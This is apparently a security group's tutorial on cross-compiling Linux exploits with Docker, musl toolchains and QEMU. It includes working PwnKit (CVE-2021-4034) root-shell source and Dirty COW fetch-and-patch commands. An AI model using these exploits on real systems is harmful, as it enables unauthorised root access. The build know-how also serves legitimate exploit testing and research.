TL;DR: Use docker & QEMU and gcc -static.

It is not always possible to compile an exploit on the target system. Here at THC we use various methods to compile an exploit in such a situation.

After reading this article you will be able to compile any exploit for any Linux/Architecture regardless of the OS/Architecture you are on.

Compiling statically

This works well for exploits that can be compiled statically and where the target is any Linux and the architecture is identical to our architecture (x86_64).

The standard GNU libc is not suitable for compiling static binaries. Instead we use MUSL libc. The MUSL libc is a C standard library just like GNU's libc. It's smaller, cleaner and easier to handle.

Alpine Linux comes with musl libc. We use Docker to run Alpine Linux.

$ docker run --rm -v $(pwd):/src -w /src -it alpine
/src # apk update && apk add gcc
/src # gcc -Wall -O2 -static -o exploit exploit.c

Cross Compiling statically

This works well for exploits that can be compiled statically and where the target is any Linux and the architecture is DIFFERENT to our architecture (x86_64).

The fine folks at musl.cc maintain cross-compiler toolchains against MUSL libc for many different architectures.

These toolchains can be used to generate a (static) Linux binary for a different architecture (e.g. arm6v or aarch64).

The MUSL-CC folks also maintain Docker Images with the cross-compiler toolchain: This allows us to cross compile STATIC binaries (for a different architecture) for Linux.

Cross Compiling statically using muslcc & Docker

Let's compile the exploit for CVE-2016-5195 to run on Raspberry PI Linux (armv6l) while our workstation is MacOS (x86_64).

The vulnerability is a local privilege escalation in Linux Kernel <4.8.3.

Firstly, there is a bug in the reference exploit. Let's fix this first:

mkdir thc; cd thc
wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
sed  -i 'sX.*= copy_file.*Xint ret = system("cp /etc/passwd /tmp/passwd.bak");X' dirty.c

Next: Compile dirt.c for Linux for armv6 architecture on our MacOS (x84_64):

docker run --rm -v $(pwd):/src -w /src muslcc/x86_64:armv6-linux-musleabi sh -c "gcc -pthread dirty.c -o dirty-exp -lcrypt -static"

The newly created ./dirty-exp binary will execute on a Raspberry Pi Linux (armv6l).

Cross Compiling statically for 5 architectures

Let's script this and compile for 5 different architectures:

for arch in aarch64-linux-musl armv6-linux-musleabi mips-linux-muslsf mips64-linux-musl x86_64-linux-musl; do
   docker run --rm -v $(pwd):/src -w /src muslcc/x86_64:${arch} sh -c "gcc -pthread dirty.c -o dirty-exp.${arch} -lcrypt -static"
done

Most architectures are downward compatible. This means an exploit compiled for arm6 will run fine on arm7 metal. Equally an exploit compiled for i386 (from the 90s) will run fine on x86_64 metal, albeit slow.

$ ls -al dirty-exp.*
-rwxr-xr-x 1 0 0 170664 Aug 30 14:06 dirty-exp.aarch64-linux-musl
-rwxr-xr-x 1 0 0 119280 Aug 30 14:06 dirty-exp.armv6-linux-musleabi
-rwxr-xr-x 1 0 0 210384 Aug 30 14:06 dirty-exp.mips64-linux-musl
-rwxr-xr-x 1 0 0 210692 Aug 30 14:06 dirty-exp.mips-linux-muslsf
-rwxr-xr-x 1 0 0  88312 Aug 30 14:06 dirty-exp.x86_64-linux-musl

All binaries are static binaries. They run on any Linux system regardless of the distribution or Linux flavour (as long as the architecture matches).

Cross compiling statically with additional libraries

Some exploits need additional libraries to compile or have more complex compilation instructions. Let's pick the OpenSSL library as a worst case scenario: A huge and complex library. We use the dirt.c source again even that it does not depend on or need OpenSSL.

Let's start an interactive (-it) muslcc docker shell, download and compile OpenSSL and then compile the exploit for ARM6:

docker run --rm -v $(pwd):/src -w /src -it muslcc/x86_64:armv6-linux-musleabi
apk update \
&& apk add --no-cache bash perl make curl \
&& rm -rf /var/cache/apk/* \
&& curl https://www.openssl.org/source/openssl-1.1.1k.tar.gz | tar -xz \
&& mkdir usr \
&& cd openssl-1.1.1k \
&& ./Configure --prefix=/src/usr no-tests no-dso no-threads no-shared linux-generic64 \
&& make install_sw \
&& cd .. \
&& gcc -I/src/usr/include -L/src/usr/lib -pthread dirty.c -o dirty-exp -lcrypt -lcrypto -lssl -static

Compiling normally

This works well for exploits that can not be compiled statically.

Exploits that can not be static

Some exploits can not be compiled statically.

For example: Exploits that are shared object .so files and which the vulnerable program needs to load during runtime. It is not possible to cross-compile them: The .so files heavily depend on the Application Binary Interface (ABI) of the target system.

The ABI is the reason why you can not just execute a (dynamic) binary from a libmusl system on a libc system or vice versa.

These exploits need to be compiled on the matching OS with matching architecture.

Compiling normally for any Linux/Architecture

In our example we try to compile an exploit that needs a shared library (and thus can not be statically compiled) for aarch64 (aka arm64v8) to run on Amazon Linux 2 (which is based on Centos7 OS).

There are a few methods to pick from:

Use an Amazon Linux 2/aarch64 instance.
Find a server of the same architecture and use Docker to run Centos7.
Use QEMU and Docker to run any OS of any architecture.

Either of the methods will work but only if the target is running Linux.

Method 1 - Using Amazon Linux 2/aarch64

This works well when the target OS and architecture is available to compile the exploit.

AWS has a good selection of Linux flavours (Amazon Linux, Ubuntu, Red Hat, SuSE and Debian) that can run on either x86_64 or aarch64/ARM64 architecture. Mostly we run a t2.nano on the matching architecture and a matching OS to compile exploits. It's the easiest and most straightforward.

Method 2 - Use any aarch64 with Docker running Centos7

This works well when Linux OS is DIFFERENT but the architecture is idendical.

Start a Docker image matching the target's OS. In this example I'm on a aarch64 server running Debian but my exploit needs to be compiled for Amazon Linux 2 (aka Centos7). Both, my architecture and the target's architecture, are aarch64.

$ uname -m
aarch64
$ docker run --rm -v $(pwd):/src -w /src -it centos:centos7
[root@9409baa1861a src]#

Method 3.1 - QEMU and Docker

This works well when the Linux OS is DIFFERENT and the architecture is DIFFERENT.

Docker can run images for different architecture. The execution is emulated by QEMU. The details are not noticeable to the user and 'docker just does it all for you'. Just to list a few: aarch64, arm, ppc64, m68k, sparc64, mips, alpha, ...

Firstly let's prepare Docker to run images of different architectures:

$ docker run --rm --privileged multiarch/qemu-user-static --reset -p yes

Then let's run an aarch64 image (aka arm64v8) on our x86_64 host:

$ uname -m
x86_64
$ docker run --rm -it arm64v8/centos
[root@0a0888cd5ea7 /]# uname -m
aarch64

That's aarch64 on our x86_64 host. QEMU and the OS are doing some good magic to make this work. For testing let us start a sleep process inside the running aarch64 docker image. Then we check on our x86_64 host system for the sleep process. It shows that the host's Linux started QEMU as an interpreter for sleep and did not start sleep directly. This means QEMU emulates the architecture:

$ docker run --rm -t arm64v8/centos sleep 1337 &
[1] 4042135
$ ps axw | grep qemu 
4046761 pts/0    Ssl+   0:00 /usr/bin/qemu-aarch64-static /usr/bin/coreutils --coreutils-prog-shebang=sleep /usr/bin/sleep 1337
$

Method 3.2 - Compiling statically without cross-compiler

This works well when the Linux OS is DIFFERENT and the architecture is DIFFERENT but there is no Docker Image for the target's Linux OS. We have no choice but to compile statically.

In this example we like to compile an exploit for Raspberry PI4 that runs on arm32v6. There is no docker image for Raspberry PI4 for arm32v6. Instead there is a docker image for Alpine Linux for arm32v6. We use Alpine/arm32v6 to compile for Raspberry PI4/arm32v6.

The result will be identical as with Cross Compiling statically using muslcc & Docker but without using the cross compiler toolchain (muslcc).

Let's assume we like to compile for armv7 (Raspberry PI4) but not using a cross compiler (muslcc). Instead we can run an Alpine Linux with QEMU on Docker and emulating armv7 (and all this while our host system is MacOS/x86_64):

$ docker run --rm -v $(pwd):/src -w /src -it arm32v6/alpine
/src # uname -m
armv7l
/src # apk update && apk add gcc
/src # gcc -Wall -O2 -static -o exploit exploit.c

Compiling [CVE-2021-4034] for Centos7/aarch64

CVE-2021-4034 (aka polkit/pkexec) is an exploit that can not be compiled statically. The exploit tricks the vulnerable program to load a dynamically shared object (.so file) during runtime. A dynamically shared object can never be static.

Preparing the exploit

The Proof-of-Concept exploit for CVE-2021-4034 needs to be modified slightly. At the moment the exploit executes gcc to compile a shared object on the target. Our assumption is that gcc is not available on the target platform and thus the Proof-of-Concept exploit would fail.

We need to modify the Proof-of-Concept exploit:

Split it into two separate .c files.
Modify the source to copy the pre-compiled .so file instead of calling gcc at runtime.
Compile both .c files separately.

thc-polkit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
    system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
    system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
    system("cp pwnkit.so pwnkit/pwnkit.so");
    char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
    execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

pwnkit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
    setuid(0); setgid(0);
    seteuid(0); setegid(0);
    system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");
}

Compiling

Any of the 3 methods discussed earlier can be used to compile the exploit. In this example I use QEMU & Docker on my MacOS/x86_64. The exploit will execute (and own) Amazon Linux on aarch64:

$ docker run --rm -v $(pwd):/src -w /src -it arm64v8/centos
[root@0a0888cd5ea7 src]# uname -m
aarch64
[root@0a0888cd5ea7 src]# yum group install "Development Tools"
...
[root@0a0888cd5ea7 src]# gcc --version
gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44)
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
[root@0a0888cd5ea7 src]#

Compile both source files:

gcc pwnkit.c -o pwnkit.so -shared -fPIC
gcc thc-polkit.c -o thc-polkit

Transfer thc-polkit and pwnkit.so to the target system and execute:

$ ./thc-polkit
# id
uid=0(root) gid=0(root) groups=0(root)
#

Compiling when Distro is End-Of-Life

A good example is Centos6.8. There are two choices: Either install from the original Centos6.8 ISO into a VMBox or make the docker image work. Let's fiddle with the old docker image. Mostly we have to adjust the repo location so that yum can find the old gcc packages:

$ docker run --rm -v $(pwd):/src -w /src -it centos:centos6.8
[root@c28872c1d9bc src]# sed -E -i  's/^(mirrorlist.*)/#\1/g' /etc/yum.repos.d/CentOS-Base.repo
[root@c28872c1d9bc src]# sed -E -i  's/^#(baseurl.*)mirror(.*)/\1vault\2/g' /etc/yum.repos.d/CentOS-Base.repo
[root@c28872c1d9bc src]# yum install gcc
[root@c28872c1d9bc src]# gcc pwnkit.c -o pwnkit.so -shared -fPIC
[root@c28872c1d9bc src]# gcc thc-polkit.c -o thc-polkit

That's it. The exploit will run on Centos6.8/x86_64.

Closing Notes

So what if the target is not Linux? We use VirtualBox. We also run a private research lab with different hosts and architectures (real metal) and different Operating Systems.

There are some exploits that don't run well in Docker, a VirtualBox or QEMU. Namely exploits that rely on precise timing of the underlying hardware. Having a setup for testing that is as close as possible to the target's setup is ideal.

Useful command to find out the target's OS and architecture:

uname -a; lsb_release -a; cat /etc/*release /etc/issue* /proc/version

Summary

Docker runs Linux programs of different flavours/distributions on a Linux host's kernel. The architecture must be the same and both must be Linux.
Virtual Machines run any Operating Systems (not just Linux) instead of just individual Linux programs. The architecture must be the same.
QEMU can 'translate' (emulate) a single program of different architecture and 'run' the program on the host's Kernel. The Operating System must be the same (Linux in our example). We have done so earlier when we configured the host's Kernel (Linux) to fire up QEMU whenever a Linux program of different architecture is trying to get executed. Normally such programs would not run (because they were not compiled for the host's architecture). For ease of use we made this mechanism available through Docker but QEMU is often run without Docker and run directly on the Linux Host. In either case a separate QEMU process is launched for every single program we start.
QEMU can also 'translate' (emulate) an OS Kernel in its entirety and simulate the underlying processor. It can 'run' an Operating System Kernel of a different architecture and 'translate' (emulate) every single instruction. This is different to 3. Very different. QEMU can 'boot an OS Kernel' and the Kernel then loads the userland processes (e.g. your shell etc). There is just QEMU process and QEMU is unaware of how many userland program the booted kernel loads.

It's important to understand the difference between 3 and 4 (read QEMU Operating Modes):

QEMU can be used to run a single Linux Program (of different architecture) under Linux. It can also be used to 'boot a kernel' of a different architecture and different Operating System.

For example you can use QEMU to run DOS on an arm64 processor.

An easier example is to run Raspberry PI OS (compiled for armv6l) through QEMU. QEMU boots the entire Raspberry PI Kernel (which then starts the rest of the RPI Operating System): The RPI kernel then starts all userland processes (your shell etc), unbeknown to them that QEMU emulates the underlying processor and unbeknown that QEMU 'translates' every single instruction.

Because QEMU is a bitch to set up we can use Docker to start QEMU to boot a Raspberry PI Kernel (from an .iso image/Install CD).

$ docker run -it lukechilds/dockerpi
Linux version 4.19.50+ (niklas@ubuntu) (gcc version 9.2.1 20191008 (Ubuntu 9.2.1-9ubuntu2)) #1 Tue Nov 26 01:49:16 CET 2019
CPU: ARMv6-compatible processor [410fb767] revision 7 (ARMv7), cr=00c5387d
CPU: VIPT aliasing data cache, unknown instruction cache
OF: fdt: Machine model: ARM Versatile PB
...
[  OK  ] Started /etc/rc.local Compatibility.
[  OK  ] Started Permit User Sessions.
[  OK  ] Started Serial Getty on ttyAMA0.
[  OK  ] Started Getty on tty1.
[  OK  ] Reached target Login Prompts.
[  OK  ] Started Regenerate SSH host keys.

Raspbian GNU/Linux 10 raspberrypi ttyAMA0

raspberrypi login: pi
Password:
Linux raspberrypi 4.19.50+ #1 Tue Nov 26 01:49:16 CET 2019 armv6l
pi@raspberrypi:~$

*Note: I mentioned earlier that Docker is only available for Linux and can only execute Linux programs. However, Docker is available for MacOS and other Operating Systems. In layman's term: Docker-for-Mac effectively runs a minimal 'Linux' in a Virtual Machine (on MacOS) that then runs Docker-for-Linux.

Knowledge Base